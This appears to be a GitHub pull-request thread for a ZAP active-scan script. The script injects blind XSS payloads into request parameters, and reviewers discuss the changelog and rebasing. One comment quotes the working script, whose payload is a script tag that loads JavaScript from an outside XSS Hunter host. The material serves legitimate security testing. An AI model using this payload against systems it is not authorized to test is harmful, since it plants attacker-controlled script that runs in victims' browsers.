inject blind xss payloads

[MindPatch]

No description provided.

[thc202]

The changelog should be updated.

[kingthorin]

@knassar702 are you going to address @thc202’s feedback?

[MindPatch]

hello @thc202 @kingthorin , im so sorry for this long time I was a bit busy because of studying , i changed it now

regards

[kingthorin]

Okay, I'll rebase and address the conflict tomorrow.

[kingthorin]

Done

[kingthorin]

Note: Before you make any further changes/contributions on this PR please ensure you do the following.

git fetch origin
git reset --hard origin/bxss

(That assumes origin is your remote fork.)

[kingthorin]

If others are good with this I can fix the conflict.

[thc202]

It seems there were too many changes, the bxss is no longer being injected and it's just sending unchanged messages.

[thc202]

This is what was intended I think:

# by: Khaled Nassar @knassar702

# YOUR XSSHUNTER PAYLOAD
bxss = '"><script src="//yourusername.xss.ht"></script>'
def scanNode(sas, msg):
  pass


def scan(sas, msg, param, value):

  # Copy requests before reusing them
  msg = msg.cloneRequest();

  # setParam (message, parameterName, newValue)
  sas.setParam(msg, param, bxss);

  # sendAndReceive(msg, followRedirect, handleAntiCSRFtoken)
  sas.sendAndReceive(msg, False, False);

From https://raw.githubusercontent.com/zaproxy/community-scripts/17f6a21edf5df582f67c36104b85c683c933216e/active/bxss.py with the comment addressed.

[kingthorin]

Should be good now I think

[thc202]

Thank you both!